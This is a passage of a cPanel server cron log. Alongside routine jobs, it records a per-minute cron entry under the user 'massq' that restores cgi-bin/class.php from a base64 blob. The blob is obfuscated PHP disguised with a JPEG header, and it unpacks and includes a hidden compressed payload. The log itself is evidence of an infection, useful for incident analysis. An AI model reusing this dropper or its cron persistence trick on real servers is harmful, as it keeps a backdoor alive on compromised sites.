&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:35:01 server CROND[16199]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:35:01 server CROND[16200]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 09:35:01 server CROND[16201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:35:01 server CROND[16202]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 09:35:01 server CROND[16203]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:36:01 server CROND[17131]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:37:01 server CROND[18059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:38:01 server CROND[18938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:39:01 server CROND[19806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:39:01 server CROND[19807]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 09:40:01 server CROND[20665]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:40:01 server CROND[20666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:40:01 server CROND[20668]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:40:01 server CROND[20667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 09:41:01 server CROND[21581]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:42:01 server CROND[22535]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 09:42:01 server CROND[22536]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:43:01 server CROND[23392]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:44:01 server CROND[24209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:45:01 server CROND[25093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 09:45:01 server CROND[25094]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 09:45:01 server CROND[25095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 09:46:01 server CROND[26010]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
